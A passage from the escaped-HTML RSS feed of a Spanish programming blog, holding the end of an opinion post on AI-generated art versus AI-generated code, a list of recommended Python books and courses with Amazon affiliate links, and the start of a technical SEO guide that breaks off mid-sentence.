casos, es la aleatoridad la que permite dar con algo nuevo, que no es una copia fiel de los originales a partir de los cuales fue entrenado (siempre y cuando no incurra en overfitting).&lt;/p&gt;&#xA;&lt;h2 id=&#34;la-aleatoridad-impacta-en-las-diferencias-entre-arte-y-codigo-creado-con-ai&#34;&gt;La aleatoridad impacta en las diferencias entre arte y código creado con AI&lt;/h2&gt;&#xA;&lt;p&gt;Como mencioné anteriormente, el arte es mucho más subjetivo y variable que la codificación. Hay millones de maneras (o más) de presentar un concepto o imagen, lo que encaja perfecto con la manera en la que funcionan los LLM o modelos generativos.&lt;/p&gt;&#xA;&lt;p&gt;En cambio al momento de hacer código probablemente la cantidad de maneras de hacer lo mismo sean mucho más limitadas; la manera de escribir un bucle que cuente de 0 a 100 en un mismo lenguaje de programación, tiene quizas una decena de soluciones.&lt;/p&gt;&#xA;&lt;p&gt;Este número contrasta fuertemente con las maneras potenciales de pintar un concepto, las cuales pueden ser prácticamente ilimitadas.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753063920/coffee-bytes/artificial-intelligence-art-randomness_pozdsb.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753063920/coffee-bytes/artificial-intelligence-art-randomness_pozdsb.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;An emotional photograph is in the style of a Fujifilm disposable camera (like &amp;#39;Utsurundesu&amp;#39;) showing a medium shot of a Japanese woman in her 20s, crying at a wedding ceremony. She is standing among other guests, wearing a soft pastel-colored dress. Her makeup is slightly smudged by tears. The scene is imbued with a deeply nostalgic and melancholic atmosphere. Soft, dim lighting casts a gentle glow on the girl&amp;#39;s dark hair. The focus is on her expressive face, and in the reflection of her eyes, a bride and groom can be seen standing together. The background shows a beautiful wedding venue with warm lighting. The image features pronounced film grain, slightly muted tones, and a cinematic blur, amplifying the emotional intensity of the moment from a wider perspective. The composition evokes a sense of longing and fleeting memories, characteristic of heartfelt disposable camera photography.The background is softly blurred&#34; width=&#34;600&#34; height=&#34;797&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;En el caso del código es ligeramente diferente. Obviamente conforme crezca el tamaño del código el número de posibles soluciones se incrementará también, pero aquí hay un aspecto crucial: a diferencia de lo que sucede con el arte, no todas serán igualmente válidas.&lt;/p&gt;&#xA;&lt;h2 id=&#34;las-diferencias-en-el-arte-y-el-codigo-creados-con-ai&#34;&gt;Las diferencias en el arte y el código creados con AI&lt;/h2&gt;&#xA;&lt;p&gt;Ahondaré en esto, la naturaleza subjetiva del arte permite que todas las representaciones de un mismo concepto sean válidas, una manzana al estilo de Picaso es exactamente igual de válida que una pintada por Velazquez, o una manzana pintada por Carrington.&lt;/p&gt;&#xA;&lt;p&gt;Mientras que no sucede lo mismo con un programa informático, una variación de cualquier programa complejo (un web crawler, una base de datos, etc.) se comportará de manera diferente en distintos escenarios, y habrá una versión superior o inferior de acuerdo a las necesidades del código.&lt;/p&gt;&#xA;&lt;p&gt;Estas diferencias pueden medirse de manera cuantitativa: tiempo de ejecución, uso de memoria, escalabilidad, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/como-medir-las-peticiones-por-segundo-con-locust-en-python/&#34;&gt;requests per second&lt;/a&gt;&#xA;, etc. Lo que nos dejará con algunas propuestas mejores que otras.&lt;/p&gt;&#xA;&lt;p&gt;Tomando como base lo anterior, la AI &amp;ldquo;acertará&amp;rdquo; menos veces y requerirá más iteraciones al crear código. Sin embargo, al crear arte, probablemente el usuario considere como válido el resultado obtenido tras unas cuantas iteraciones.&lt;/p&gt;&#xA;&lt;p&gt;Esto hace que, desde mi punto de vista, la naturaleza no determinista de la AI funcione mejor en la creación de arte que en la creación de código.&lt;/p&gt;&#xA;&lt;p&gt;Ahora, aquí hay otro aspecto que quiero tocar respecto a las diferencias en el código creado con AI y el arte creado con AI.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-contraste-en-la-percepcion-entre-codigo-desarrollado-con-ai-e-imagenes-generadas-con-ai&#34;&gt;El contraste en la percepción entre código desarrollado con AI e imágenes generadas con AI&lt;/h2&gt;&#xA;&lt;p&gt;El producto final de una AI que crea arte es el mismo producto final que percibe el usuario, en cambio el código que crea una AI no tiene contacto con el usuario final.&lt;/p&gt;&#xA;&lt;p&gt;No existe un rechazo público, ni un grupo que proteste al ver el código generado con AI porque no tienen contacto con él. El código, por si mismo, no despierta pasiones, ni enojo, como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/devin-ai-el-supuesto-reemplazo-de-los-programadores/&#34;&gt;cuando Devin AI prometió reemplazar a los programadores&lt;/a&gt;&#xA; tal vez porque el estímulo visual del arte es mucho más intenso que un muro de texto que expresa las relaciones que existen entre entes abstractos.&lt;/p&gt;&#xA;&lt;p&gt;Para pruebas solo basta ver la respuesta que han tenido herramientas como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/bolt-vs-lovable-vs-v0-vercel-comparando-resultados-y-mi-opinion/&#34;&gt;Bolt, Lovable o V0&lt;/a&gt;&#xA;, las cuales fueron entrenadas usando el código de desarrolladores, también sin su permiso. Ahora compáralo con los generadores de video de IA, hay tantos de ellos en este momento que hay &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://subjoin.one/en/blog/our-straightforward-guide-to-choosing-an-ai-video-generator&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Guías para elegir entre generadores de IA&lt;/a&gt;&#xA;, a pesar de ser detestados por la comunidad.&lt;/p&gt;&#xA;&lt;h3 id=&#34;las-paginas-web-creadas-por-ai&#34;&gt;Las páginas web creadas por AI&lt;/h3&gt;&#xA;&lt;p&gt;¿Pero y las páginas web?, yo diría que incluso si observamos la cristalización del código en forma de pixeles en una página web, la reacción es completamente diferente a la que experimentariamos con el arte, a pesar de ambos ser percibidos visualmente.&lt;/p&gt;&#xA;&lt;p&gt;Una página web (y quizás el código) hecha con AI es totalmente indistinguible de una creada por un humano. Además una página web no suele ser percibida como el resultado de la expresión humana (sobre todo en el internet contemporáneo).&lt;/p&gt;&#xA;&lt;p&gt;Pero en el caso del arte es mucho más fácil darse cuenta; manos con más dedos de los que se deben, inconsistencias lógicas, inclusive ese estilo genérico, que viene por defecto, bastante característico. O el ya popular estilo Ghibli que se volvió un commodity.&lt;/p&gt;&#xA;&lt;p&gt;El arte generado con AI destaca, mientras que el código generado con AI es invisible.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El día de hoy, mientras hacía &lt;em&gt;doom scrolling&lt;/em&gt; en la red social de Zuckerberg, el algoritmo me recomendó una imagen de &lt;strong&gt;Sakura Card Captors&lt;/strong&gt; al estilo de la pintora española &lt;strong&gt;Remedios Varo&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1748206520/coffee-bytes/sakura-card-captors-remedios-varo_mwazan.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1748206520/coffee-bytes/sakura-card-captors-remedios-varo_mwazan.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Imagen de Sakura Card Captors al estilo de Remedios Varo creada con AI&#34; width=&#34;700&#34; height=&#34;1050&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Imagen de Sakura Card Captors al estilo de Remedios Varo creada con AI&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Al revisar los comentarios —ya ni sé qué gano con hacerlo— noté que los que tenían más &lt;em&gt;likes&lt;/em&gt; expresaban un fuerte desprecio por la inteligencia artificial. Un comportamiento perfectamente normal si estás &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;justo a la mitad de una burbuja de AI&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Mis libros favoritos para aprender a programar en Python</title>
      <link>https://coffeebytes.dev/es/python/mis-libros-favoritos-para-aprender-a-programar-en-python/</link>
      <pubDate>Fri, 25 Apr 2025 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/mis-libros-favoritos-para-aprender-a-programar-en-python/</guid>
      
      <category>python</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;h2 id=&#34;mi-lista-de-libros-favoritos-para-aprender-a-programar-en-python&#34;&gt;Mi lista de libros favoritos para aprender a programar en Python&lt;/h2&gt;&#xA;&lt;p&gt;Este post es mi lista de libros favoritos para aprender Python, por lo que estoy familiarizado con ellos y puedo recomendártelos sinceramente. Si esta pequeña guia puede servirte para no perderte en el mar de opciones que hay allá afuera, estaré encantando de compartir mi experiencia aprendiendo Python contigo para hacer tu proceso más llevadero.&lt;/p&gt;&#xA;&lt;style&gt;&#xA;    .affiliate-link-button{&#xA;      background-color: #FED400;&#xA;      color: #020100;&#xA;      padding: 10px 24px;&#xA;      border-radius: 4px;&#xA;  &#xA;  }&#xA;  .hide-on-sm {&#xA;    display: inline;&#xA;  }&#xA;  .hide-on-lg {&#xA;    display: none;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .hide-on-sm {&#xA;      display: none;&#xA;    }&#xA;    .hide-on-lg {&#xA;      display: inline;&#xA;    }&#xA;  }&#xA;  &#xA;  &lt;/style&gt;&#xA;&lt;h3 id=&#34;dive-into-python-3&#34;&gt;Dive into Python 3&lt;/h3&gt;&#xA;&lt;p&gt;Este libro para aprender Python favorito, parte de cero y empieza a enseñarte la sintaxis del lenguaje creando pequeños programas. Los programas son básicos pero el autor no se detiene ahí, a lo largo del libro ahonda en temas como:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Explicación de como Python transforma los bytes en cadenas de texto&lt;/li&gt;&#xA;&lt;li&gt;Eficiencia de algoritmos a nivel muy básico&lt;/li&gt;&#xA;&lt;li&gt;Generadores&lt;/li&gt;&#xA;&lt;li&gt;Iteradores&lt;/li&gt;&#xA;&lt;li&gt;Closures o cierres&lt;/li&gt;&#xA;&lt;li&gt;Expresiones regulares&lt;/li&gt;&#xA;&lt;li&gt;Manejo de XML&lt;/li&gt;&#xA;&lt;li&gt;Solicitudes HTTP&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Este libro se centra en el lenguaje y aspectos básicos de la lógica de programación, por lo que no verás GUIs, ni otros aspectos más específicos.&lt;/p&gt;&#xA;&lt;p&gt;En mi humilde opinión &lt;strong&gt;este libro es el mejor para aprender&lt;/strong&gt; Python. Pero sigue leyendo para ver otras opciones.&lt;/p&gt;&#xA;&lt;p&gt;Existe una versión en español disponible de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/el-mejor-libro-de-python-inmersion-en-python/&#34;&gt;inmersion en Python&lt;/a&gt;&#xA; para los hispanohablantes, de la cual te hable en un post anterior&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750742360/coffee-bytes/dive-into-python-e-reader-cover_ohoah5.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750742360/coffee-bytes/dive-into-python-e-reader-cover_ohoah5.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Dive into Python book cover&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Dive into Python Book cover&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;a href=&#34;https://amzn.to/42HBn0l&#34; class=&#34;hide-on-sm affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Dive into Python en Amazon&#xA;&lt;/a&gt;&#xA;&lt;a href=&#34;https://amzn.to/42HBn0l&#34; class=&#34;hide-on-lg affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Ver en Amazon&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;beggining-python-from-novice-to-proffesional&#34;&gt;Beggining Python from novice to Proffesional&lt;/h3&gt;&#xA;&lt;p&gt;Este libro es una introducción al lenguaje desde cero, básicamente empieza con la instalación del binario de Python y te lleva paso por paso desde la sintaxis, pasando por cada uno de los usos del lenguaje, como crear interfaces gráficas nativas, servidores web desde cero, con sockets, hasta el uso de Frameworks, como el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;framework de desarrollo web Django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Totalmente recomendado si quieres tener una visión general de las capacidades de Python.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750742217/coffee-bytes/Beginning_Python_from_novice_to_pro_tlfayl.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750742217/coffee-bytes/Beginning_Python_from_novice_to_pro_tlfayl.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Beggining Python from Novice to Pro Book cover&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Beggining Python from Novice to Pro Book cover&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;a href=&#34;https://amzn.to/44tPuZZ&#34; class=&#34;hide-on-sm affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Beginning Python from Novice to Pro en Amazon&#xA;&lt;/a&gt;&#xA;&lt;a href=&#34;https://amzn.to/44tPuZZ&#34; class=&#34;hide-on-lg affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Ver en Amazon&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;cracking-codes-with-python&#34;&gt;Cracking codes with Python&lt;/h3&gt;&#xA;&lt;p&gt;Un libro un poco inusual, te explica los aspectos más básicos de Python a la vez que te lleva a dar un recorrido por la historia de la criptografía.&lt;/p&gt;&#xA;&lt;p&gt;Cracking codes with Python parte de la suposición de que no sabes absolutamente nada de Python. La temática del libro es enseñarte un método de cifrado cada capítulo.&lt;/p&gt;&#xA;&lt;p&gt;Aprenderás y codificaras el cifrado César, Vigenere, cuadernos de un solo uso y, para cerrar el libro, las bases del cifrado RSA.&lt;/p&gt;&#xA;&lt;p&gt;Lo recomiendo si buscas algo corto y ameno para dominar las partes más básicas del lenguaje.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750742522/coffee-bytes/cracking_codes_with_python_mnovzk.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750742522/coffee-bytes/cracking_codes_with_python_mnovzk.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Cracking with Python book cover&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Cracking with Python book cover&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;a href=&#34;https://amzn.to/4ixeQcE&#34; class=&#34;hide-on-sm affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Cracking Codes with Python en Amazon&#xA;&lt;/a&gt;&#xA;&lt;a href=&#34;https://amzn.to/4ixeQcE&#34; class=&#34;hide-on-lg affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Ver en Amazon&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;python-pocket-reference&#34;&gt;Python Pocket Reference&lt;/h3&gt;&#xA;&lt;p&gt;Este pequeñito libro de cerca de 260 páginas es todo el lenguaje de programación Python resumido, eso sí, es cero didáctico y es más como una guia (cheatsheet) o resumen de todas las características y sutilezas del lenguaje.&lt;/p&gt;&#xA;&lt;p&gt;Recomiendo Python Pocket Reference, pero únicamente si ya tienes nociones del lenguaje, en cuyo caso es una excelente manera de reforzar conceptos y aprender una que otra cosa nueva.&lt;/p&gt;&#xA;&lt;p&gt;La ventaja de este libro es que es de bolsillo y puedes leerlo en cualquier momento de ocio o cuando te transportes de un lado a otro.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745616632/coffee-bytes/python-pocket-reference_vmfikn.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745616632/coffee-bytes/python-pocket-reference_vmfikn.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Python pocket reference book cover&#34; width=&#34;1600&#34; height=&#34;702&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python pocket reference book cover&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;a href=&#34;https://amzn.to/4jNfdRh&#34; class=&#34;hide-on-sm affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Python Pocket Reference en Amazon&#xA;&lt;/a&gt;&#xA;&lt;a href=&#34;https://amzn.to/4jNfdRh&#34; class=&#34;hide-on-lg affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Ver en Amazon&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;python-tricks&#34;&gt;Python tricks&lt;/h3&gt;&#xA;&lt;p&gt;Si ya tienes nociones básicas de Python, o lo dominas, este libro llevará tus habilidades más allá. Python tricks es un recopilatorio con algunas características poco conocidas, o que han pasado inadvertidas de este lenguaje de programación. ¿Cómo que cosas? Bueno, cosas como:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;El uso de zip&lt;/li&gt;&#xA;&lt;li&gt;Manejo de iteradores&lt;/li&gt;&#xA;&lt;li&gt;Context managers&lt;/li&gt;&#xA;&lt;li&gt;Métodos mágicos o dunders&lt;/li&gt;&#xA;&lt;li&gt;Closures&lt;/li&gt;&#xA;&lt;li&gt;Stacks y Queues&lt;/li&gt;&#xA;&lt;li&gt;Named tuples&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Y demasiadas cosas como para cubrirlas en un pequeño post. Pero si tienes oportunidad y un poco más de experiencia en el lenguaje, te recomiendo adquirirlo muchísimo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745688775/coffee-bytes/python-tricks_zjtir8.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745688775/coffee-bytes/python-tricks_zjtir8.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Python tricks book cover&#34; width=&#34;1200&#34; height=&#34;527&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;a href=&#34;https://amzn.to/3SbKyBe&#34; class=&#34;hide-on-sm affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Python Tricks en Amazon&#xA;&lt;/a&gt;&#xA;&lt;a href=&#34;https://amzn.to/3SbKyBe&#34; class=&#34;hide-on-lg affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Ver en Amazon&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;mejores-videos-para-aprender-python&#34;&gt;Mejores videos para aprender Python&lt;/h2&gt;&#xA;&lt;p&gt;La verdad es que soy un poco más fan de aprender mediante libros que con videos, ¿la razón? supongo que tener la constante distracción de navegar por internet no es bueno para mi proceso de aprendizaje, en cambio con un libro, o ereader común, es imposible navegar en internet, solo pongo el celular lejos y en modo avión y en un par de minutos puedo alcanzar niveles decentes de concentración.&lt;/p&gt;&#xA;&lt;h3 id=&#34;cursos-de-python-de-platzi&#34;&gt;Cursos de Python de Platzi&lt;/h3&gt;&#xA;&lt;p&gt;Platzi tiene &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://platzi.com/r/eduardo-zepeda&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;cursos de Python&lt;/a&gt;&#xA;, sí, cursos en plural, un curso básico de Python, cursos de Python especializados en ciencias de datos, curso de Python para estadística, entre otros. Los cursos son exclusivamente en Español y constamente los actualizan. Son una opción si te gusta el formato video.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745616831/coffee-bytes/Python-platzi-course_bp7gnn.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745616831/coffee-bytes/Python-platzi-course_bp7gnn.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Python Platzi courses&#34; width=&#34;1238&#34; height=&#34;832&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python Platzi courses&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;curso-completo-de-python-de-midudev&#34;&gt;Curso completo de Python de Midudev&lt;/h3&gt;&#xA;&lt;p&gt;Nuestro youtuber preferido de tecnología en español: &lt;del&gt;Last dragon&lt;/del&gt; Midudev también tiene un curso completo de 8 horas de Python.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745632733/coffee-bytes/meme-homero-midudev_ss4k90.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745632733/coffee-bytes/meme-homero-midudev_ss4k90.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme de homero simpson comiendo queso toda la noche. ¿Homero estuviste viendo el curso de Midudev toda la noche? Print(creo que estoy ciego)&#34; width=&#34;640&#34; height=&#34;480&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Ay Marge creo que estoy ciego&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;No puedo recomendartelo directamente porque aprendí Python mucho antes de que Midudev fuera famoso e hiciera su curso y no me apetece pasar 8 horas repasando conceptos de Python. Sin embargo, su último curso, donde hablaba del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/te-explico-el-model-context-protocol-mcp-y-para-que-sirve/&#34;&gt;Model Context Protocol&lt;/a&gt;&#xA; fue genial, por lo que supongo que este no se aleja bastante de sus estándares de calidad.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/TkN2i-_4N4g?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;</content:encoded>
      <summary>&lt;h2 id=&#34;mi-lista-de-libros-favoritos-para-aprender-a-programar-en-python&#34;&gt;Mi lista de libros favoritos para aprender a programar en Python&lt;/h2&gt;&#xA;&lt;p&gt;Este post es mi lista de libros favoritos para aprender Python, por lo que estoy familiarizado con ellos y puedo recomendártelos sinceramente. Si esta pequeña guia puede servirte para no perderte en el mar de opciones que hay allá afuera, estaré encantando de compartir mi experiencia aprendiendo Python contigo para hacer tu proceso más llevadero.&lt;/p&gt;&#xA;&lt;style&gt;&#xA;    .affiliate-link-button{&#xA;      background-color: #FED400;&#xA;      color: #020100;&#xA;      padding: 10px 24px;&#xA;      border-radius: 4px;&#xA;  &#xA;  }&#xA;  .hide-on-sm {&#xA;    display: inline;&#xA;  }&#xA;  .hide-on-lg {&#xA;    display: none;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .hide-on-sm {&#xA;      display: none;&#xA;    }&#xA;    .hide-on-lg {&#xA;      display: inline;&#xA;    }&#xA;  }&#xA;  &#xA;  &lt;/style&gt;&#xA;&lt;h3 id=&#34;dive-into-python-3&#34;&gt;Dive into Python 3&lt;/h3&gt;&#xA;&lt;p&gt;Este libro para aprender Python favorito, parte de cero y empieza a enseñarte la sintaxis del lenguaje creando pequeños programas. Los programas son básicos pero el autor no se detiene ahí, a lo largo del libro ahonda en temas como:&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Mi Guia De SEO Técnico Básico Solo Para Desarrolladores Web</title>
      <link>https://coffeebytes.dev/es/seo/mi-guia-de-seo-tecnico-basico-solo-para-desarrolladores-web/</link>
      <pubDate>Mon, 14 Apr 2025 00:02:16 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/seo/mi-guia-de-seo-tecnico-basico-solo-para-desarrolladores-web/</guid>
      
      <category>seo</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Anteriormente te platiqué como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/seo/mis-errores-de-optimizacion-en-el-seo-tecnico-al-migrar-de-wordpress/&#34;&gt;cometí muchos errores en SEO&lt;/a&gt;&#xA; al migrar mi sitio web de Wordpress a Hugo, pues después de eso me puse a ver muchos videos sobre SEO, sobre todo de Romuald Fons, también me leí &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4ilv4pc&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;The art of SEO&lt;/a&gt;&#xA; y he tratado de resumir todo lo que aprendí en una pequeña entrada. He decidido centrarme en el SEO técnico porque es el que entiendo, es menos subjetivo y, además, estoy más familiariazado. Por eso escribí esta entrada antes de que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;burbuja de AI&lt;/a&gt;&#xA; estalle, llevándose al SEO con ella.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744676557/coffee-bytes/romu-seo_d3i3l9.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744676557/coffee-bytes/romu-seo_d3i3l9.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Romuald Fons Video thumbnail&#34; width=&#34;480&#34; height=&#34;360&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Mi fuente totalmente confiable, Romuald Fons&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;He examinado muchos sitios web y he notado que muchos desarrolladores web profesionales omiten completamente el SEO de sus desarrollos, es completamente cierto que es un tema bastante extenso que quizás se aleja de lo que ellos están acostumbrados, en mi opinión, hacer un SEO promedio es mejor que omitirlo completamente.&lt;/p&gt;&#xA;&lt;p&gt;Simplificando criminalmente, el SEO podría dividirse en dos:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;SEO técnico&lt;/strong&gt;: todos aquellos aspectos objetivos, medibles, como la presencia de un sitemap, de etiquetas meta, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SEO de contenido&lt;/strong&gt;: es un poco más subjetivo, es 